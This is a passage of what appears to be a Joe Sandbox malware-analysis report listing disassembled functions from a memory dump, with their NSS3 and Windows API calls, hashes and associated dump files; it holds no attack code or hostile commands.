Opcode Fuzzy Hash: 76bed5ec1ed1856720d9d5efe1139b27b0a87fc8713e0c3613628c4c4c5f84ea
Instruction Fuzzy Hash: 0731F6B19017429BE711CF16C880A96F7E4FFA5318B248A29D81D87B41E771F0E5CBA5

Function 6C66FE20 Relevance: 6.1, APIs: 4, Instructions: 86COMMON

Download Yara Rule

APIs

TlsGetValue.KERNEL32(6C645ADC,?,00000000,00000001,?,?,00000000,?,6C63BA55,?,?), ref: 6C66FE4B
EnterCriticalSection.KERNEL32(78831D90,?,?,?,?,?,?,?,?,?,?,?,?,?,?,00000000), ref: 6C66FE5F
PR_Unlock.NSS3(78831D74), ref: 6C66FEC2
PR_SetError.NSS3(00000000,00000000), ref: 6C66FED6

Memory Dump Source

Source File: 00000000.00000002.2648099910.000000006C5A1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C5A0000, based on PE: true

Associated: 00000000.00000002.2647602226.000000006C5A0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2649682543.000000006C73F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2649782133.000000006C77E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2649965244.000000006C77F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2650545656.000000006C780000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2650882995.000000006C785000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5a0000_file.jbxd

Similarity

API ID: CriticalEnterErrorSectionUnlockValue
String ID:
API String ID: 284873373-0
Opcode ID: c7c725aa2dde1d602313495a2a668fdbeb1414b8efe8cf105dc9cd0bfacea036
Instruction ID: 73074fdd7c3759730525f6e683816a7b8146fd189fa2cce444a182316dfd3e04
Opcode Fuzzy Hash: c7c725aa2dde1d602313495a2a668fdbeb1414b8efe8cf105dc9cd0bfacea036
Instruction Fuzzy Hash: AE212031E01225ABDB019E2AD80479A7BB8FF06358F180134ED04A7E02E730E925CBDB

Function 6C673F50 Relevance: 6.1, APIs: 4, Instructions: 86COMMON

Download Yara Rule

APIs

Part of subcall function 6C673440: PK11_GetAllTokens.NSS3 ref: 6C673481
Part of subcall function 6C673440: PR_SetError.NSS3(00000000,00000000), ref: 6C6734A3
Part of subcall function 6C673440: TlsGetValue.KERNEL32 ref: 6C67352E
Part of subcall function 6C673440: EnterCriticalSection.KERNEL32(?), ref: 6C673542
Part of subcall function 6C673440: PR_Unlock.NSS3(?), ref: 6C67355B

TlsGetValue.KERNEL32(?,00000000,00000000,00000000,?,6C65E80C,00000000,00000000,?,?,?,?,6C668C5B,-00000001), ref: 6C673FA1
EnterCriticalSection.KERNEL32(?,?,00000000,00000000,00000000,?,6C65E80C,00000000,00000000,?,?,?,?,6C668C5B,-00000001), ref: 6C673FBA
PR_Unlock.NSS3(?,00000000,00000000,00000000,?,6C65E80C,00000000,00000000,?,?,?,?,6C668C5B,-00000001), ref: 6C673FFE
PR_SetError.NSS3 ref: 6C67401A

Memory Dump Source

Source File: 00000000.00000002.2648099910.000000006C5A1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C5A0000, based on PE: true

Associated: 00000000.00000002.2647602226.000000006C5A0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2649682543.000000006C73F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2649782133.000000006C77E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2649965244.000000006C77F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2650545656.000000006C780000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2650882995.000000006C785000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5a0000_file.jbxd

Similarity

API ID: CriticalEnterErrorSectionUnlockValue$K11_Tokens
String ID:
API String ID: 3021504977-0
Opcode ID: 46afb1445a2b6400ff7a2a78d7932bd0dac331027c54a9cf5566a0a492e479af
Instruction ID: 33b0695ce729008134f36a30a679248450fab505232873070f107ccb6560f3bc
Opcode Fuzzy Hash: 46afb1445a2b6400ff7a2a78d7932bd0dac331027c54a9cf5566a0a492e479af
Instruction Fuzzy Hash: 01318271604704CFD710AF69D0886AEB7F0FF89354F11592DD88987B10EB70E884CBA6

Function 6C664FB0 Relevance: 6.1, APIs: 4, Instructions: 75COMMON

Download Yara Rule

APIs

TlsGetValue.KERNEL32(?,00000000,00000000,00000000,?,6C66B60F,00000000), ref: 6C665003
EnterCriticalSection.KERNEL32(?,?,00000000,00000000,00000000,?,6C66B60F,00000000), ref: 6C66501C
PR_Unlock.NSS3(?,?,?,00000000,00000000,00000000,?,6C66B60F,00000000), ref: 6C66504B
free.MOZGLUE(?,00000000,00000000,00000000,?,6C66B60F,00000000), ref: 6C665064

Memory Dump Source

Source File: 00000000.00000002.2648099910.000000006C5A1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C5A0000, based on PE: true

Associated: 00000000.00000002.2647602226.000000006C5A0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2649682543.000000006C73F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2649782133.000000006C77E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2649965244.000000006C77F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2650545656.000000006C780000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2650882995.000000006C785000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5a0000_file.jbxd

Similarity

API ID: CriticalEnterSectionUnlockValuefree
String ID:
API String ID: 1112172411-0
Opcode ID: a4583843dcf7149e12a2415e94fa327ad0a59e10e78c251178d637102133a47f
Instruction ID: bdfe0447e42613fd556537cc03f4624798a3b4e6363ebb591745055b44525523
Opcode Fuzzy Hash: a4583843dcf7149e12a2415e94fa327ad0a59e10e78c251178d637102133a47f
Instruction Fuzzy Hash: A03126B0A05606DFDB00EF69C48466ABBF4FF09304B158969E899D7B11E730E890CBD6

Function 6C689F80 Relevance: 6.1, APIs: 4, Instructions: 74memoryCOMMON

Download Yara Rule

APIs

PORT_ArenaMark_Util.NSS3(?,6C68A71A,FFFFFFFF,?,?), ref: 6C689FAB

Part of subcall function 6C6814C0: TlsGetValue.KERNEL32 ref: 6C6814E0
Part of subcall function 6C6814C0: EnterCriticalSection.KERNEL32 ref: 6C6814F5
Part of subcall function 6C6814C0: PR_Unlock.NSS3 ref: 6C68150D

PORT_ArenaGrow_Util.NSS3(?,?,?,00000000,6C68A71A,6C68A71A,00000000), ref: 6C689FD9

Part of subcall function 6C681340: TlsGetValue.KERNEL32(?,00000000,00000000,?,6C62895A,00000000,?,00000000,?,00000000,?,00000000,?,6C61F599,?,00000000), ref: 6C68136A
Part of subcall function 6C681340: EnterCriticalSection.KERNEL32(B8AC9BDF,?,6C62895A,00000000,?,00000000,?,00000000,?,00000000,?,6C61F599,?,00000000), ref: 6C68137E
Part of subcall function 6C681340: PL_ArenaGrow.NSS3(?,6C61F599,?,00000000,?,6C62895A,00000000,?,00000000,?,00000000,?,00000000,?,6C61F599,?), ref: 6C6813CF
Part of subcall function 6C681340: PR_Unlock.NSS3(?,?,6C62895A,00000000,?,00000000,?,00000000,?,00000000,?,6C61F599,?,00000000), ref: 6C68145C

PORT_ArenaAlloc_Util.NSS3(?,00000008,6C68A71A,6C68A71A,00000000), ref: 6C68A009
PR_SetError.NSS3(FFFFE013,00000000,6C68A71A,6C68A71A,00000000), ref: 6C68A045

Memory Dump Source

Source File: 00000000.00000002.2648099910.000000006C5A1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C5A0000, based on PE: true

Associated: 00000000.00000002.2647602226.000000006C5A0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2649682543.000000006C73F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2649782133.000000006C77E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2649965244.000000006C77F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2650545656.000000006C780000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2650882995.000000006C785000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5a0000_file.jbxd

Similarity

API ID: Arena$Util$CriticalEnterSectionUnlockValue$Alloc_ErrorGrowGrow_Mark_
String ID:
API String ID: 3535121653-0
Opcode ID: 6d1ae70d6311bc2b933261b9cebe50cfeb7780cc980ad09fb36ff6f910e61e20
Instruction ID: d4c28b60839f6a0606160bdf6fc71611060ab7525502799ca62cfc588518367f
Opcode Fuzzy Hash: 6d1ae70d6311bc2b933261b9cebe50cfeb7780cc980ad09fb36ff6f910e61e20
Instruction Fuzzy Hash: 552195B4602206ABF7109F15DC50F66B7A9FF9535CF108128DD2987BC2EB75D414CBA4

Function 6C692DF0 Relevance: 6.1, APIs: 4, Instructions: 72memoryCOMMON

Download Yara Rule

APIs

PORT_ArenaMark_Util.NSS3(?), ref: 6C692E08

Part of subcall function 6C6814C0: TlsGetValue.KERNEL32 ref: 6C6814E0
Part of subcall function 6C6814C0: EnterCriticalSection.KERNEL32 ref: 6C6814F5
Part of subcall function 6C6814C0: PR_Unlock.NSS3 ref: 6C68150D

PORT_NewArena_Util.NSS3(00000400), ref: 6C692E1C
PORT_ArenaAlloc_Util.NSS3(00000000,00000064), ref: 6C692E3B
PORT_FreeArena_Util.NSS3(00000000,00000000), ref: 6C692E95

Part of subcall function 6C681200: TlsGetValue.KERNEL32(00000000,00000000,00000000,?,6C6288A4,00000000,00000000), ref: 6C681228
Part of subcall function 6C681200: EnterCriticalSection.KERNEL32(B8AC9BDF), ref: 6C681238
Part of subcall function 6C681200: PL_ClearArenaPool.NSS3(00000000,00000000,00000000,00000000,00000000,?,6C6288A4,00000000,00000000), ref: 6C68124B
Part of subcall function 6C681200: PR_CallOnce.NSS3(6C782AA4,6C6812D0,00000000,00000000,00000000,?,6C6288A4,00000000,00000000), ref: 6C68125D
Part of subcall function 6C681200: PL_FreeArenaPool.NSS3(00000000,00000000,00000000), ref: 6C68126F
Part of subcall function 6C681200: free.MOZGLUE(00000000,?,00000000,00000000), ref: 6C681280
Part of subcall function 6C681200: PR_Unlock.NSS3(00000000,?,?,00000000,00000000), ref: 6C68128E
Part of subcall function 6C681200: DeleteCriticalSection.KERNEL32(0000001C,?,?,?,00000000,00000000), ref: 6C68129A
Part of subcall function 6C681200: free.MOZGLUE(00000000,?,?,?,00000000,00000000), ref: 6C6812A1

Memory Dump Source

Source File: 00000000.00000002.2648099910.000000006C5A1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C5A0000, based on PE: true

Associated: 00000000.00000002.2647602226.000000006C5A0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2649682543.000000006C73F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2649782133.000000006C77E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2649965244.000000006C77F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2650545656.000000006C780000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2650882995.000000006C785000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5a0000_file.jbxd

Similarity

API ID: ArenaUtil$CriticalSection$Arena_EnterFreePoolUnlockValuefree$Alloc_CallClearDeleteMark_Once
String ID:
API String ID: 1441289343-0
Opcode ID: f90256335fee6aeeaa24d2f6bee3f354c0acb0369ebf8db753efb3bf32d612af
Instruction ID: b4d739398dfa3d799f14f7727e98741be45c56a0fd9c0afe004bfa3e41d48d3b
Opcode Fuzzy Hash: f90256335fee6aeeaa24d2f6bee3f354c0acb0369ebf8db753efb3bf32d612af
Instruction Fuzzy Hash: B1212BB1D013464BE700CF549D84BAB3764AF9230CF110269DD185B752F7B1E699C3AA

Function 6C64ACB0 Relevance: 6.1, APIs: 4, Instructions: 66COMMON

Download Yara Rule

APIs

CERT_NewCertList.NSS3 ref: 6C64ACC2

Part of subcall function 6C622F00: PORT_NewArena_Util.NSS3(00000800), ref: 6C622F0A
Part of subcall function 6C622F00: PORT_ArenaAlloc_Util.NSS3(00000000,0000000C), ref: 6C622F1D

Part of subcall function 6C622AE0: PORT_Strdup_Util.NSS3(?,?,?,?,?,6C620A1B,00000000), ref: 6C622AF0
Part of subcall function 6C622AE0: tolower.API-MS-WIN-CRT-STRING-L1-1-0(?), ref: 6C622B11

CERT_DestroyCertList.NSS3(00000000), ref: 6C64AD5E

Part of subcall function 6C6657D0: PK11_GetAllTokens.NSS3(000000FF,00000000,00000000,6C62B41E,00000000,00000000,?,00000000,?,6C62B41E,00000000,00000000,00000001,?), ref: 6C6657E0
Part of subcall function 6C6657D0: free.MOZGLUE(00000000,00000000,00000000,00000001,?), ref: 6C665843

CERT_DestroyCertList.NSS3(?), ref: 6C64AD36

Part of subcall function 6C622F50: CERT_DestroyCertificate.NSS3(?), ref: 6C622F65
Part of subcall function 6C622F50: PORT_FreeArena_Util.NSS3(?,00000000), ref: 6C622F83

free.MOZGLUE(?), ref: 6C64AD4F

Memory Dump Source

Source File: 00000000.00000002.2648099910.000000006C5A1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C5A0000, based on PE: true

Associated: 00000000.00000002.2647602226.000000006C5A0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2649682543.000000006C73F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2649782133.000000006C77E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2649965244.000000006C77F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2650545656.000000006C780000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2650882995.000000006C785000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5a0000_file.jbxd

Similarity

API ID: Util$CertDestroyList$Arena_free$Alloc_ArenaCertificateFreeK11_Strdup_Tokenstolower
String ID:
API String ID: 132756963-0
Opcode ID: 02ca0e646b88379a3ba42f033b577ffc88cf7a7c80b644624dcd1ca2a29ff0e9
Instruction ID: 0bb582db0697068806ad80885e556d798d48e5f177fa7333daf12105002df7e5
Opcode Fuzzy Hash: 02ca0e646b88379a3ba42f033b577ffc88cf7a7c80b644624dcd1ca2a29ff0e9
Instruction Fuzzy Hash: 042181B1D002189BEB10DF64D8055EEB7B4AF06259F15C079D805BBB02FB31AA59CBAD

Function 6C673C80 Relevance: 6.1, APIs: 4, Instructions: 65COMMON

Download Yara Rule

APIs

TlsGetValue.KERNEL32 ref: 6C673C9E
EnterCriticalSection.KERNEL32(?), ref: 6C673CAE
PR_Unlock.NSS3(?), ref: 6C673CEA
PR_SetError.NSS3(00000000,00000000), ref: 6C673D02

Memory Dump Source

Source File: 00000000.00000002.2648099910.000000006C5A1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C5A0000, based on PE: true

Associated: 00000000.00000002.2647602226.000000006C5A0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2649682543.000000006C73F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2649782133.000000006C77E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2649965244.000000006C77F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2650545656.000000006C780000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2650882995.000000006C785000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5a0000_file.jbxd

Similarity

API ID: CriticalEnterErrorSectionUnlockValue
String ID:
API String ID: 284873373-0
Opcode ID: b18c0aaee844213b135b66f05c66119e67e4752e87de917637ca09b255361464
Instruction ID: 8faa9cb80757a6588d120d72cf8d0f8aad62ce18baee27100126d492407263a5
Opcode Fuzzy Hash: b18c0aaee844213b135b66f05c66119e67e4752e87de917637ca09b255361464
Instruction Fuzzy Hash: 2811D675A00214AFDB109F24DC48A9637B8EF0A369F154470FD088B712E730ED54CBE5

Function 6C67ECB0 Relevance: 6.1, APIs: 4, Instructions: 64memoryCOMMON

Download Yara Rule

APIs

PORT_NewArena_Util.NSS3(00000800,?,00000001,?,6C67F0AD,6C67F150,?,6C67F150,?,?,?), ref: 6C67ECBA

Part of subcall function 6C680FF0: calloc.MOZGLUE(00000001,00000024,00000000,?,?,6C6287ED,00000800,6C61EF74,00000000), ref: 6C681000
Part of subcall function 6C680FF0: PR_NewLock.NSS3(?,00000800,6C61EF74,00000000), ref: 6C681016
Part of subcall function 6C680FF0: PL_InitArenaPool.NSS3(00000000,security,6C6287ED,00000008,?,00000800,6C61EF74,00000000), ref: 6C68102B

PORT_ArenaAlloc_Util.NSS3(00000000,00000028,?,?,?), ref: 6C67ECD1

Part of subcall function 6C6810C0: TlsGetValue.KERNEL32(?,6C628802,00000000,00000008,?,6C61EF74,00000000), ref: 6C6810F3
Part of subcall function 6C6810C0: EnterCriticalSection.KERNEL32(?,?,6C628802,00000000,00000008,?,6C61EF74,00000000), ref: 6C68110C
Part of subcall function 6C6810C0: PL_ArenaAllocate.NSS3(?,?,?,6C628802,00000000,00000008,?,6C61EF74,00000000), ref: 6C681141
Part of subcall function 6C6810C0: PR_Unlock.NSS3(?,?,?,6C628802,00000000,00000008,?,6C61EF74,00000000), ref: 6C681182
Part of subcall function 6C6810C0: TlsGetValue.KERNEL32(?,6C628802,00000000,00000008,?,6C61EF74,00000000), ref: 6C68119C

PORT_ArenaAlloc_Util.NSS3(00000000,0000003C,?,?,?,?,?), ref: 6C67ED02

Part of subcall function 6C6810C0: PL_ArenaAllocate.NSS3(?,6C628802,00000000,00000008,?,6C61EF74,00000000), ref: 6C68116E

PORT_FreeArena_Util.NSS3(00000000,00000000,?,?,?,?,?), ref: 6C67ED5A

Memory Dump Source

Source File: 00000000.00000002.2648099910.000000006C5A1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C5A0000, based on PE: true

Associated: 00000000.00000002.2647602226.000000006C5A0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2649682543.000000006C73F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2649782133.000000006C77E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2649965244.000000006C77F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2650545656.000000006C780000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2650882995.000000006C785000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5a0000_file.jbxd

Similarity

API ID: Arena$Util$Alloc_AllocateArena_Value$CriticalEnterFreeInitLockPoolSectionUnlockcalloc
String ID:
API String ID: 2957673229-0
Opcode ID: fde359a11de0bfe4845df7f2d5157b0e79017d69c9f1ce55be8417e26a882dd5
Instruction ID: ad77e5b24b5276f73cbe428a43698ed619f8262246017e69cbd8050d653d60db
Opcode Fuzzy Hash: fde359a11de0bfe4845df7f2d5157b0e79017d69c9f1ce55be8417e26a882dd5
Instruction Fuzzy Hash: 782104B19017425FE300CF21DA04B92B7E4BFA5348F25C215E81C87661FB70E594C6E8

Function 6C6AEDB0 Relevance: 6.1, APIs: 4, Instructions: 62memoryCOMMON

Download Yara Rule

APIs

PR_SetError.NSS3(FFFFE013,00000000,00000000,00000000,6C697FFA,?,6C699767,?,8B7874C0,0000A48E), ref: 6C6AEDD4
realloc.MOZGLUE(C7C1920F,?,00000000,00000000,6C697FFA,?,6C699767,?,8B7874C0,0000A48E), ref: 6C6AEDFD
PORT_Alloc_Util.NSS3(?,00000000,00000000,6C697FFA,?,6C699767,?,8B7874C0,0000A48E), ref: 6C6AEE14

Part of subcall function 6C680BE0: malloc.MOZGLUE(6C678D2D,?,00000000,?), ref: 6C680BF8
Part of subcall function 6C680BE0: TlsGetValue.KERNEL32(6C678D2D,?,00000000,?), ref: 6C680C15

memcpy.VCRUNTIME140(?,?,6C699767,00000000,00000000,6C697FFA,?,6C699767,?,8B7874C0,0000A48E), ref: 6C6AEE33

Memory Dump Source

Source File: 00000000.00000002.2648099910.000000006C5A1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C5A0000, based on PE: true

Associated: 00000000.00000002.2647602226.000000006C5A0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2649682543.000000006C73F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2649782133.000000006C77E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2649965244.000000006C77F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2650545656.000000006C780000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2650882995.000000006C785000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5a0000_file.jbxd

Similarity

API ID: Alloc_ErrorUtilValuemallocmemcpyrealloc
String ID:
API String ID: 3903481028-0
Opcode ID: ec64334029ee8d755484fb09420c0f2804a4428cad3d4b0e6a5af4583287d9e5
Instruction ID: 9f8d7ba555b44ad07a81ba9d3129205ea3a430945f42099631293bb36d9dabc7
Opcode Fuzzy Hash: ec64334029ee8d755484fb09420c0f2804a4428cad3d4b0e6a5af4583287d9e5
Instruction Fuzzy Hash: 0D11A7B1A01716ABDB109EA5DC84B46B3A8FB1435DF104535E91982A40E331E87687E9

Function 6C62DFA0 Relevance: 6.1, APIs: 4, Instructions: 62COMMON

Download Yara Rule

APIs

Part of subcall function 6C6406A0: TlsGetValue.KERNEL32 ref: 6C6406C2
Part of subcall function 6C6406A0: EnterCriticalSection.KERNEL32(?), ref: 6C6406D6
Part of subcall function 6C6406A0: PR_Unlock.NSS3 ref: 6C6406EB

CERT_NewCertList.NSS3 ref: 6C62DFBF
CERT_AddCertToListTail.NSS3(00000000,?), ref: 6C62DFDB
CERT_FindCertIssuer.NSS3(?,?,?,?), ref: 6C62DFFA
PR_SetError.NSS3(FFFFE013,00000000), ref: 6C62E029

Memory Dump Source

Source File: 00000000.00000002.2648099910.000000006C5A1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C5A0000, based on PE: true

Associated: 00000000.00000002.2647602226.000000006C5A0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2649682543.000000006C73F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2649782133.000000006C77E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2649965244.000000006C77F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2650545656.000000006C780000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2650882995.000000006C785000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5a0000_file.jbxd

Similarity

API ID: Cert$List$CriticalEnterErrorFindIssuerSectionTailUnlockValue
String ID:
API String ID: 3183882470-0
Opcode ID: 405f845adc6167fc33325065f84957d7f9857c790e95633a98274b85cba4a1ef
Instruction ID: 60fd92414a0afbcb06d4d5688ca191ee1eda040d9ffa4a1e19e303d5b1ffbb33
Opcode Fuzzy Hash: 405f845adc6167fc33325065f84957d7f9857c790e95633a98274b85cba4a1ef
Instruction Fuzzy Hash: 4D110C71A042056BDB105EB95C44FEBF668EF8535DF040534E9189BB40E73EC8269EED

Function 6C648DD0 Relevance: 6.1, APIs: 4, Instructions: 53COMMON

Download Yara Rule

APIs

TlsGetValue.KERNEL32 ref: 6C648DE7
EnterCriticalSection.KERNEL32 ref: 6C648DFC
PR_Unlock.NSS3 ref: 6C648E2D
PR_SetError.NSS3 ref: 6C648E49

Memory Dump Source

Source File: 00000000.00000002.2648099910.000000006C5A1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C5A0000, based on PE: true

Associated: 00000000.00000002.2647602226.000000006C5A0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2649682543.000000006C73F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2649782133.000000006C77E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2649965244.000000006C77F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2650545656.000000006C780000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2650882995.000000006C785000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5a0000_file.jbxd

Similarity

API ID: CriticalEnterErrorSectionUnlockValue
String ID:
API String ID: 284873373-0
Opcode ID: aff0741cc49ff09888b169d6b099ff89a428069ec0517641d960c52bc0082a32
Instruction ID: 038cb61ede15d283457a90df56a4137aa13e45ea50db2364585460fcdd6af53e
Opcode Fuzzy Hash: aff0741cc49ff09888b169d6b099ff89a428069ec0517641d960c52bc0082a32
Instruction Fuzzy Hash: A4118F716056149BD700AF78C4486AABBF4FF0A354F018969DC88D7B10E730E854CBD6

Function 6C6CAC70 Relevance: 6.0, APIs: 4, Instructions: 49COMMON

Download Yara Rule

APIs

PR_DestroyMonitor.NSS3(000A34B6,00000000,00000678,?,6C6B5F17,?,?,?,?,?,?,?,?,6C6BAAD4), ref: 6C6CAC94
PK11_FreeSymKey.NSS3(08C483FF,00000000,00000678,?,6C6B5F17,?,?,?,?,?,?,?,?,6C6BAAD4), ref: 6C6CACA6
free.MOZGLUE(20868D04,?,?,?,?,?,?,?,?,6C6BAAD4), ref: 6C6CACC0
free.MOZGLUE(04C48300,?,?,?,?,?,?,?,?,6C6BAAD4), ref: 6C6CACDB

Memory Dump Source

Source File: 00000000.00000002.2648099910.000000006C5A1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C5A0000, based on PE: true

Associated: 00000000.00000002.2647602226.000000006C5A0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2649682543.000000006C73F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2649782133.000000006C77E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2649965244.000000006C77F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2650545656.000000006C780000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2650882995.000000006C785000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5a0000_file.jbxd

Similarity

API ID: free$DestroyFreeK11_Monitor
String ID:
API String ID: 3989322779-0
Opcode ID: 4ddd07a431c0d3b15b728b858d8786879cb9145d405890ded699700c5197228a
Instruction ID: d61f2e088d692caef3c35477a34d6296fee917b2cea5bc5a7cd5c02b315a21ed
Opcode Fuzzy Hash: 4ddd07a431c0d3b15b728b858d8786879cb9145d405890ded699700c5197228a
Instruction Fuzzy Hash: 71014CB5B01B159BEB50DF2AD908753B7E8FF0479AB104839D85AC3E01E731E454CB96

Function 6C631DD0 Relevance: 6.0, APIs: 4, Instructions: 48COMMON

Download Yara Rule

APIs

CERT_DestroyCertificate.NSS3(?), ref: 6C631DFB

Part of subcall function 6C6295B0: TlsGetValue.KERNEL32(00000000,?,6C6400D2,00000000), ref: 6C6295D2
Part of subcall function 6C6295B0: EnterCriticalSection.KERNEL32(?,?,?,6C6400D2,00000000), ref: 6C6295E7
Part of subcall function 6C6295B0: PR_Unlock.NSS3(?,?,?,?,6C6400D2,00000000), ref: 6C629605

PR_EnterMonitor.NSS3 ref: 6C631E09

Part of subcall function 6C6E9090: TlsGetValue.KERNEL32 ref: 6C6E90AB
Part of subcall function 6C6E9090: TlsGetValue.KERNEL32 ref: 6C6E90C9
Part of subcall function 6C6E9090: EnterCriticalSection.KERNEL32 ref: 6C6E90E5
Part of subcall function 6C6E9090: TlsGetValue.KERNEL32 ref: 6C6E9116
Part of subcall function 6C6E9090: LeaveCriticalSection.KERNEL32 ref: 6C6E913F

Part of subcall function 6C62E190: PR_EnterMonitor.NSS3(?,?,6C62E175), ref: 6C62E19C
Part of subcall function 6C62E190: PR_EnterMonitor.NSS3(6C62E175), ref: 6C62E1AA
Part of subcall function 6C62E190: PR_ExitMonitor.NSS3 ref: 6C62E208
Part of subcall function 6C62E190: PL_HashTableRemove.NSS3(?), ref: 6C62E219
Part of subcall function 6C62E190: PORT_FreeArena_Util.NSS3(?,00000000), ref: 6C62E231
Part of subcall function 6C62E190: PORT_FreeArena_Util.NSS3(?,00000000), ref: 6C62E249
Part of subcall function 6C62E190: PR_ExitMonitor.NSS3 ref: 6C62E257

PR_SetError.NSS3(FFFFE005,00000000), ref: 6C631E37
PR_ExitMonitor.NSS3 ref: 6C631E4A

Memory Dump Source

